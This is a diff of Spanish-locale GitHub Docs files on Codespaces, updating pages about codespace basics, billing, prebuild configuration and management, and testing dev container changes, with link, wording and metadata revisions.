Overview -product: '{% data reusables.gated-features.codespaces %}' intro: 'This guide introduces {% data variables.product.prodname_github_codespaces %} and provides details on how it works and how to use it.' allowTitleToDifferFromFilename: true redirect_from: @@ -20,28 +19,48 @@ topics: ## What is a codespace? -A codespace is a development environment that's hosted in the cloud. You can customize your project for {% data variables.product.prodname_github_codespaces %} by committing [configuration files](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project) to your repository (often known as Configuration-as-Code), which creates a repeatable codespace configuration for all users of your project. +A codespace is a development environment that's hosted in the cloud. You can customize your project for {% data variables.product.prodname_github_codespaces %} by committing [configuration files](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers) to your repository (often known as Configuration-as-Code), which creates a repeatable codespace configuration for all users of your project. -{% data variables.product.prodname_github_codespaces %} run on a variety of VM-based compute options hosted by {% data variables.location.product_location %}, which you can configure from 2 core machines up to 32 core machines. You can connect to your codespaces from the browser or locally using {% data variables.product.prodname_vscode %}. +Each codespace runs on a virtual machine hosted by {% data variables.product.prodname_dotcom %}. You can choose the type of machine you want to use, depending on the resources you need. Various types of machine are available, starting with a 2-core processor, 4 GB of RAM, and 32 GB of storage. + +You can connect to your codespaces from your browser, from {% data variables.product.prodname_vscode %}, from the JetBrains Gateway application, or by using {% data variables.product.prodname_cli %}. ![A diagram showing how {% data variables.product.prodname_github_codespaces %} works](/assets/images/help/codespaces/codespaces-diagram.png) ## Using {% data variables.product.prodname_github_codespaces %} -You can create a codespace from any branch or commit in your repository and begin developing using cloud-based compute resources. {% data reusables.codespaces.links-to-get-started %} +To begin developing using cloud-based compute resources, you can create a codespace from a template or from any branch or commit in a repository. When you create a codespace from a template, you can start from a blank template or choose a template suitable for the work you're doing. + +{% data reusables.codespaces.links-to-get-started %} + +### Using codespaces owned by your personal account + +All personal {% data variables.product.prodname_dotcom_the_website %} accounts have a monthly quota of free use of {% data variables.product.prodname_github_codespaces %} included in the Free or Pro plan. You can get started using {% data variables.product.prodname_github_codespaces %} on your personal account without changing any settings or providing payment details. + +You can create and use a codespace for any repository you can clone. You can also use a template to create codespaces that are not initially associated with a repository. If you create a codespace from an organization-owned repository, use of the codespace will either be charged to the organization (if the organization is configured for this), or to your personal account. Codespaces created from templates are always charged to your personal account. + +{% data reusables.codespaces.codespaces-continue-by-paying %} + +### Using organization-owned codespaces + +Organization owners can enable use of {% data variables.product.prodname_github_codespaces %}, billable to the organization or enterprise account. This applies to codespaces created from repositories owned by the organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." You can set a spending limit for use of {% data variables.product.prodname_github_codespaces %} on your organization or enterprise account. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)." + +If use of a codespace will be billed to an organization or enterprise, this is shown when the codespace is created. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." Codespaces that are billed to an organization, or its parent enterprise, are owned by the organization and can be deleted an organization owner. For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace#deleting-codespaces-in-your-organization)." + +### Customizing {% data variables.product.prodname_github_codespaces %} To customize the runtimes and tools in your codespace, you can create one or more dev container configurations for your repository. Adding dev container configurations to your repository allows you to define a choice of different development environments that are appropriate for the work people will do in your repository. -If you don't add a dev container configuration, {% data variables.product.prodname_github_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". +If you create a codespace from a repository without any dev container configurations, {% data variables.product.prodname_github_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. If you create a codespace from a template, you might start with some initial configuration on top of the default image. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." -You can also personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository and [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync). Personalization can include shell preferences, additional tools, editor settings, and {% data variables.product.prodname_vscode_shortname %} extensions. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)". +You can personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository. You can use dotfiles to set shell aliases and preferences, or to install your personal preference of the tools you like to use. If you use {% data variables.product.prodname_github_codespaces %} in the browser, or in {% data variables.product.prodname_vscode %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to give your codespace editor the same settings, keyboard shortcuts, snippets, and extensions that you have set up in your local installation of {% data variables.product.prodname_vscode %}. -## About billing for {% data variables.product.prodname_codespaces %} +For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)". + +## Billing for {% data variables.product.prodname_codespaces %} For information on pricing, storage, and usage for {% data variables.product.prodname_github_codespaces %}, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." {% data reusables.codespaces.codespaces-spending-limit-requirement %} {% data reusables.codespaces.codespaces-monthly-billing %} For information on how organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)." - -You can see who will pay for a codespace before you create it. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." diff --git a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md index 9bbee8317c..45f4bd4c6b 100644 --- a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md +++ b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md @@ -7,7 +7,6 @@ versions: ghec: '*' topics: - Codespaces -product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds --- @@ -20,23 +19,25 @@ If it currently takes more than 2 minutes to create a codespace for a repository By default, whenever you push changes to your repository, {% data variables.product.prodname_github_codespaces %} uses {% data variables.product.prodname_actions %} to automatically update your prebuilds. -When prebuilds are available for a particular branch of a repository, a particular dev container configuration file, and for your region, you'll see the "{% octicon "zap" aria-label="The zap icon" %} Prebuild ready" label in the list of machine type options when you create a codespace. If a prebuild is still being created, you will see the "{% octicon "history" aria-label="The history icon" %} Prebuild in progress" label. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." +When prebuilds are available for a particular branch of a repository, a particular dev container configuration file, and for your region, you'll see the "{% octicon "zap" aria-label="The zap icon" %} Prebuild ready" label in the list of machine type options when you create a codespace. If a prebuild is still being created, you will see the "{% octicon "history" aria-label="The history icon" %} Prebuild in progress" label. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." ![The dialog box for choosing a machine type](/assets/images/help/codespaces/choose-custom-machine-type.png) +When you create a codespace from a template on the "Your codespaces" page, {% data variables.product.prodname_dotcom %} may automatically use a prebuild to speed up creation time. For more information on templates, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)." + ## The prebuild process -To create a prebuild you set up a prebuild configuration. When you save the configuration, a {% data variables.product.prodname_actions %} workflow runs to create each of the required prebuilds; one workflow per prebuild. Workflows also run whenever the prebuilds for your configuration need to be updated. This can happen at scheduled intervals, on pushes to a prebuild-enabled repository, or when you change the dev container configuration. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." +To create a prebuild you set up a prebuild configuration. When you save the configuration, a {% data variables.product.prodname_actions %} workflow runs to create each of the required prebuilds; one workflow per prebuild. Workflows also run whenever the prebuilds for your configuration need to be updated. This can happen at scheduled intervals, on pushes to a prebuild-enabled repository, or when you change the dev container configuration. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." When a prebuild configuration workflow runs, {% data variables.product.prodname_dotcom %} creates a temporary codespace, performing setup operations up to and including any `onCreateCommand` and `updateContentCommand` commands in the `devcontainer.json` file. No `postCreateCommand` commands are run during the creation of a prebuild. For more information about these commands, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. A snapshot of the generated container is then taken and stored. -As with other Actions workflows, running a prebuild configuration workflow will either consume some of the Actions minutes included with your account, if you have any, or it will incur charges for Actions minutes. Storage of codespace prebuilds is billed in the same way as storage of active or stopped codespaces. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)." +As with other {% data variables.product.prodname_actions %} workflows, running a prebuild configuration workflow will either consume some of the {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or it will incur charges for {% data variables.product.prodname_actions %} minutes. Storage of codespace prebuilds is billed in the same way as storage of active or stopped codespaces. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)." When you create a codespace from a prebuild, {% data variables.product.prodname_dotcom %} downloads the existing container snapshot from storage and deploys it on a fresh virtual machine, completing the remaining commands specified in the dev container configuration. Since many operations have already been performed, such as cloning the repository, creating a codespace from a prebuild can be substantially quicker than creating one without a prebuild. This is true where the repository is large and/or `onCreateCommand` commands take a long time to run. ## About pushing changes to prebuild-enabled branches -By default, each push to a branch that has a prebuild configuration results in a {% data variables.product.prodname_dotcom %}-managed Actions workflow run to update the prebuild. The prebuild workflow has a concurrency limit of one workflow run at a time for a given prebuild configuration, unless changes were made that affect the dev container configuration for the associated repository. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." If a run is already in progress, the workflow run that was queued most recently queued will run next, after the current run completes. +By default, each push to a branch that has a prebuild configuration results in a {% data variables.product.prodname_dotcom %}-managed {% data variables.product.prodname_actions %} workflow run to update the prebuild. The prebuild workflow has a concurrency limit of one workflow run at a time for a given prebuild configuration, unless changes were made that affect the dev container configuration for the associated repository. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." If a run is already in progress, the workflow run that was queued most recently queued will run next, after the current run completes. With the prebuild set to be updated on each push, it means that if there are very frequent pushes to your repository, prebuild updates will occur at least as often as it takes to run the prebuild workflow. That is, if your workflow run typically takes one hour to complete, prebuilds will be created for your repository roughly hourly, if the run succeeds, or more often if there were pushes that change the dev container configuration on the branch. diff --git a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md index 8539f743a3..46a4ddd24e 100644 --- a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md +++ b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md @@ -9,14 +9,13 @@ type: how_to topics: - Codespaces - Set up -product: '{% data reusables.gated-features.codespaces %}' permissions: People with admin access to a repository can configure prebuilds for the repository. -ms.openlocfilehash: c88433a59ca297f419aec787f9cff1b6c3013c89 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: 0186078525944587bc4344e0a7d6a32468ce1cd7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148107321' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158793' --- Predeterminadamente, el flujo de trabajo de {% data variables.product.prodname_actions %} para una configuración de compilación previa solo puede acceder al contenido de su propio repositorio. Es posible que el proyecto use recursos adicionales, ubicados en otro lugar, para compilar el entorno de desarrollo. @@ -30,7 +29,7 @@ Puedes configurar el acceso de lectura a otros repositorios de {% data variables {% endnote %} -Al crear o editar una configuración de precompilación para un archivo `devcontainer.json` que configura el acceso de lectura a otros repositorios con el mismo propietario del repositorio, se te pedirá que concedas estos permisos al hacer clic en **Crear** o **Actualizar**. Para obtener más información, consulta "[Configuración de precompilaciones](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)". +Al crear o editar una configuración de precompilación para un archivo `devcontainer.json` que configura el acceso de lectura a otros repositorios con el mismo propietario del repositorio, se te pedirá que concedas estos permisos al hacer clic en **Crear** o **Actualizar**. Para obtener más información, consulta "[Configuración de precompilaciones](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)". ## Permiso para que una precompilación tenga acceso de escritura a recursos externos diff --git a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md index 5f8d82217a..c7605e66fc 100644 --- a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md +++ b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md @@ -9,32 +9,29 @@ type: how_to topics: - Codespaces - Set up -product: '{% data reusables.gated-features.codespaces %}' permissions: People with admin access to a repository can configure prebuilds for the repository. --- You can set up a prebuild configuration for the combination of a specific branch of your repository with a specific dev container configuration file. -Any branches created from a prebuild-enabled parent branch will typically also get prebuilds for the same dev container configuration. This is because the prebuild for child branches that use the same dev container configuration as the parent branch are, for the most part, identical, so developers can benefit from faster codespace creation times on those branches also. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." +Any branches created from a prebuild-enabled parent branch will typically also get prebuilds for the same dev container configuration. This is because prebuilds for child branches that use the same dev container configuration as the parent branch are, for the most part, identical, so developers can benefit from faster codespace creation times on those branches also. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." Typically, when you configure prebuilds for a branch, prebuilds will be available for multiple machine types. However, if your repository is greater than 32 GB, prebuilds won't be available for 2-core and 4-core machine types, since the storage these provide is limited to 32 GB. ## Prerequisites -Before you can configure prebuilds for your project the following must be true: -* {% data variables.product.prodname_github_codespaces %} must be enabled for your organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." -* {% data variables.product.prodname_actions %} must be enabled for your repository. Each prebuild configuration needs to be able to trigger an associated Actions workflow. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)." +Prebuilds are created using {% data variables.product.prodname_actions %}. As a result, {% data variables.product.prodname_actions %} must be enabled for the repository for which you are configuring prebuilds. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)." -## Configuring a prebuild +## Configuring prebuilds {% data reusables.codespaces.accessing-prebuild-configuration %} 1. In the "Prebuild configuration" section of the page, click **Set up prebuild**. ![The 'Set up prebuilds' button](/assets/images/help/codespaces/prebuilds-set-up.png) -1. Choose the branch for which you want to set up a prebuild. +1. Choose the branch for which you want to set up prebuilds. - ![The branch drop-down menu](/assets/images/help/codespaces/prebuilds-choose-branch.png) + ![The branch dropdown menu](/assets/images/help/codespaces/prebuilds-choose-branch.png) {% note %} @@ -42,38 +39,42 @@ Before you can configure prebuilds for your project the following must be true: {% endnote %} -1. Optionally, in the **Configuration file** drop-down menu that's displayed, choose the `devcontainer.json` configuration file that you want to use for this prebuild. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)." +1. Optionally, in the **Configuration file** dropdown menu that's displayed, choose the `devcontainer.json` configuration file that you want to use for your prebuilds. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)." - ![The configuration file drop-down menu](/assets/images/help/codespaces/prebuilds-choose-configfile.png) + ![The configuration file dropdown menu](/assets/images/help/codespaces/prebuilds-choose-configfile.png) -1. Choose how you want to automatically trigger updates of the prebuild. +1. Choose how you want to automatically trigger prebuild updates. - * **Every push** (the default setting) - With this setting, prebuild configurations will be updated on every push made to the given branch. This will ensure that codespaces generated from a prebuild always contain the latest codespace configuration, including any recently added or updated dependencies. - * **On configuration change** - With this setting, prebuild configurations will be updated every time associated configuration files for a given repo and branch are updated. This ensures that changes to the dev container configuration files for the repository are used when a codespace is generated from a prebuild. The Actions workflow that updates the prebuild will run less often, so this option will use fewer Actions minutes. However, this option will not guarantee that codespaces always include recently added or updated dependencies, so these may have to be added or updated manually after a codespace has been created. - * **Scheduled** - With this setting, you can have your prebuild configurations update on a custom schedule that's defined by you. This can reduce consumption of Actions minutes, however, with this option, codespaces may be created that do not use the latest dev container configuration changes. + * **Every push** (the default setting) - With this setting, prebuilds will be updated on every push made to the given branch. This will ensure that codespaces generated from a prebuild always contain the latest codespace configuration, including any recently added or updated dependencies. + * **On configuration change** - With this setting, prebuilds will be updated every time associated configuration files for a given repo and branch are updated. This ensures that changes to the dev container configuration files for the repository are used when a codespace is generated from a prebuild. The {% data variables.product.prodname_actions %} workflow that updates the prebuilds will run less often, so this option will use fewer {% data variables.product.prodname_actions %} minutes. However, this option will not guarantee that codespaces always include recently added or updated dependencies, so these may have to be added or updated manually after a codespace has been created. + * **Scheduled** - With this setting, you can have your prebuilds updated on a custom schedule that's defined by you. This can reduce consumption of {% data variables.product.prodname_actions %} minutes, however, with this option, codespaces may be created that do not use the latest dev container configuration changes. ![The prebuild trigger options](/assets/images/help/codespaces/prebuilds-triggers.png) -1. Optionally, select **Reduce prebuild available to only specific regions** to limit access to your prebuild, then select which regions you want it to be available in. Developers can only create codespaces from a prebuild if they are located in a region you select. By default, your prebuild is available to all regions where codespaces is available and storage costs apply for each region. +1. Optionally, select **Reduce prebuild available to only specific regions** to create prebuilds only in specified regions. Select the regions in which you want prebuilds to be available. + + By default, prebuilds are created in all of the available regions, incurring storage charges per prebuild. ![The region selection options](/assets/images/help/codespaces/prebuilds-regions.png) {% note %} **Notes**: - * The prebuild for each region will incur individual charges. You should, therefore, only enable prebuilds for regions in which you know they'll be used. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)." + * The prebuild in each region incurs individual storage charges. You should, therefore, only enable prebuilds for regions in which you know they'll be used. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)." * Developers can set their default region for {% data variables.product.prodname_github_codespaces %}, which can allow you to enable prebuilds for fewer regions. For more information, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)." {% endnote %} -1. Optionally, set the number of prebuild versions to be retained. You can input any number between 1 and 5. The default number of saved versions is 2, which means that only the latest template version and the previous version are saved. - - Depending on your prebuild trigger settings, your prebuild could change with each push or on each dev container configuration change. Retaining older versions of prebuilds enables you to create a prebuild from an older commit with a different dev container configuration than the current prebuild. Since there is a storage cost associated with retaining prebuild versions, you can choose the number of versions to be retained based on the needs of your team. For more information on billing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)." - - If you set the number of prebuild versions to save to 1, {% data variables.product.prodname_github_codespaces %} will only save the latest version of the prebuild and will delete the older version each time the template is updated. This means you will not get a prebuilt codespace if you go back to an older dev container configuration. +1. Optionally, under **Template history**, set the number of prebuild versions to be retained. You can input any number between 1 and 5. The default number of saved versions is 2, which means that only the latest prebuild and the previous version are saved. ![The prebuild history setting](/assets/images/help/codespaces/prebuilds-template-history-setting.png) + Depending on your prebuild trigger settings, your prebuild could change with each push or on each dev container configuration change. Retaining older versions of prebuilds enables you to create a prebuild from an older commit with a different dev container configuration than the current prebuild. This setting allows you to set the number of retained versions to a level that is appropriate for your needs. + + If you set the number of prebuild versions to save to 1, {% data variables.product.prodname_github_codespaces %} will only save the latest version of the prebuild and will delete the older version each time the template is updated. This means you will not get a prebuilt codespace if you go back to an older dev container configuration. + + There is a storage cost associated with each prebuild version that's retained. For example, if you are generating prebuilds in 4 regions and retaining 2 versions, you will be charged for storage of up to 8 prebuilds. For more information on billing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)." + 1. Optionally, add users or teams to notify when the prebuild workflow run fails for this configuration. You can begin typing a username, team name, or full name, then click the name once it appears to add them to the list. The users or teams you add will receive an email when prebuild failures occur, containing a link to the workflow run logs to help with further investigation. ![The prebuild failure notification setting](/assets/images/help/codespaces/prebuilds-failure-notification-setting.png) @@ -106,7 +107,7 @@ Prebuilds cannot use any user-level secrets while building your environment, bec You can use the `onCreateCommand` and `updateContentCommand` commands in your `devcontainer.json` to include time-consuming processes as part of the prebuild creation. For more information, see the {% data variables.product.prodname_vscode %} documentation, "[devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts)." -`onCreateCommand` is run only once, when the prebuild is created, whereas `updateContentCommand` is run at template creation and at subsequent template updates. Incremental builds should be included in `updateContentCommand` since they represent the source of your project and need to be included for every prebuild update. +`onCreateCommand` is run only once, when the prebuild is created, whereas `updateContentCommand` is run at creation of the prebuild and at subsequent updates to it. Incremental builds should be included in `updateContentCommand` since they represent the source of your project and need to be included for every prebuild update. ## Further reading diff --git a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/index.md b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/index.md index 89f4cf643b..9b8d803451 100644 --- a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/index.md +++ b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/index.md @@ -1,7 +1,6 @@ --- title: Precompilación de los codespaces intro: 'Para acelerar la creación de codespace, puedes configurar el proyecto para crear codespace previamente para ramas específicas en regiones específicas.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -15,11 +14,11 @@ children: - /allowing-a-prebuild-to-access-other-repositories - /managing-prebuilds - /testing-dev-container-changes -ms.openlocfilehash: 5891cee93ad2568f86646cc195fa87298dcf39b4 -ms.sourcegitcommit: 219fb805abddaef3e5547638bd798da890020bfd +ms.openlocfilehash: 67f9051b9e33a7088f4f2ed3d1951babb4b61abe +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147878451' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160338' --- diff --git a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md index a99d72e538..d8302ff3d2 100644 --- a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md +++ b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md @@ -8,7 +8,6 @@ versions: type: how_to topics: - Codespaces -product: '{% data reusables.gated-features.codespaces %}' miniTocMaxHeadingLevel: 3 --- @@ -24,7 +23,7 @@ Depending on the settings in a prebuild configuration, the workflow to update th * A schedule that you've defined in the prebuild configuration * Manually triggering the workflow -The settings in the prebuild configuration determine which events automatically trigger an update of the prebuild. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." +The settings in the prebuild configuration determine which events automatically trigger an update of the prebuild. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." People with admin access to a repository can check the progress of prebuilds, edit, and delete prebuild configurations. @@ -41,7 +40,7 @@ This displays the output of the most recent run of the workflow in the **Actions Alternatively, to view all prebuild workflow runs associated with the specified branch, click the ellipsis button and choose **View runs** from the dropdown menu. -![The 'View runs' option in the drop-down menu](/assets/images/help/codespaces/prebuilds-view-runs.png) +![The 'View runs' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-view-runs.png) This displays the workflow run history for prebuilds for the associated branch. @@ -52,7 +51,7 @@ This displays the workflow run history for prebuilds for the associated branch. 1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to edit. 1. In the dropdown menu, click **Edit**. - ![The 'Edit' option in the drop-down menu](/assets/images/help/codespaces/prebuilds-edit.png) + ![The 'Edit' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-edit.png) 1. Make the required changes to the prebuild configuration, then click **Update**. @@ -63,12 +62,12 @@ This displays the workflow run history for prebuilds for the associated branch. To pause the update of prebuilds for a configuration, you can disable workflow runs for the configuration. Disabling the workflow runs for a prebuild configuration does not delete any previously created prebuilds for that configuration and, as a result, codespaces will continue to be generated from an existing prebuild. -Disabling the workflow runs for a prebuild configuration is useful if you need to investigate template creation failures. +Disabling the workflow runs for a prebuild configuration is useful if you need to investigate prebuild creation failures. 1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to disable. 1. In the dropdown menu, click **Disable runs**. - ![The 'Disable runs' option in the drop-down menu](/assets/images/help/codespaces/prebuilds-disable.png) + ![The 'Disable runs' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-disable.png) 1. To confirm that you want to disable this configuration, click **OK**. @@ -81,7 +80,7 @@ After you delete a prebuild configuration, workflow runs for that configuration 1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to delete. 1. In the dropdown menu, click **Delete**. - ![The 'Delete' option in the drop-down menu](/assets/images/help/codespaces/prebuilds-delete.png) + ![The 'Delete' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-delete.png) 1. Click **OK** to confirm the deletion. @@ -92,7 +91,7 @@ It may be useful to manually trigger a workflow run for a prebuild configuration 1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration whose workflow you want to trigger. 1. In the dropdown menu, click **Manually trigger**. - ![The 'Manually trigger' option in the drop-down menu](/assets/images/help/codespaces/prebuilds-manually-trigger.png) + ![The 'Manually trigger' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-manually-trigger.png) ## Further reading diff --git a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md index 5818aeecaa..11b834bce3 100644 --- a/translations/es-ES/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md +++ b/translations/es-ES/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md @@ -1,8 +1,8 @@ --- -title: Prueba de los cambios de configuración del contenedor de desarrollo en una rama habilitada para precompilación +title: Testing dev container configuration changes on a prebuild-enabled branch shortTitle: Test dev container changes allowTitleToDifferFromFilename: true -intro: 'Al cambiar la configuración del contenedor de desarrollo de una rama habilitada para las precompilaciones, debes probar los cambios en un codespace.' +intro: When you change the dev container configuration for a branch that's enabled for prebuilds you should test your changes in a codespace. versions: fpt: '*' ghec: '*' @@ -10,29 +10,23 @@ type: how_to topics: - Codespaces - Set up -product: '{% data reusables.gated-features.codespaces %}' permissions: People with write permissions to a repository can create or edit the dev container configuration for a branch. -ms.openlocfilehash: ad89e9242f27c00bf95dab308b8ce571e3d3b1b2 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147548076' --- -Los cambios realizados en la configuración del contenedor de desarrollo para una rama habilitada para precompilación darán lugar a una actualización de la configuración del codespace y la precompilación asociada. Por tanto, es importante probar estos cambios en un codespace de una rama de prueba antes de confirmarlos en una rama del repositorio que se use de forma activa. Esto garantizará que no se introducen cambios importantes para el equipo. -Para más información, vea "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)". +Any changes you make to the dev container configuration for a prebuild-enabled branch will result in an update to the codespace configuration and the associated prebuild. It’s therefore important to test such changes in a codespace from a test branch before committing your changes to a branch of your repository that's actively used. This will ensure you’re not introducing breaking changes for your team. -## Prueba de los cambios en la configuración del contenedor de desarrollo +For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." -1. Cree un codespace a partir de la rama habilitada para precompilación cuyo contenedor de desarrollo quiera cambiar. Para más información, vea "[Creación de un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". -1. En el codespace, extraiga del repositorio una rama de prueba. Para más información, vea "[Uso del control de código fuente en el codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#creating-or-switching-branches)". -1. Realice los cambios necesarios en la configuración del contenedor de desarrollo. -1. Recompile el contenedor para aplicar los cambios. Para más información, vea "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)". -1. 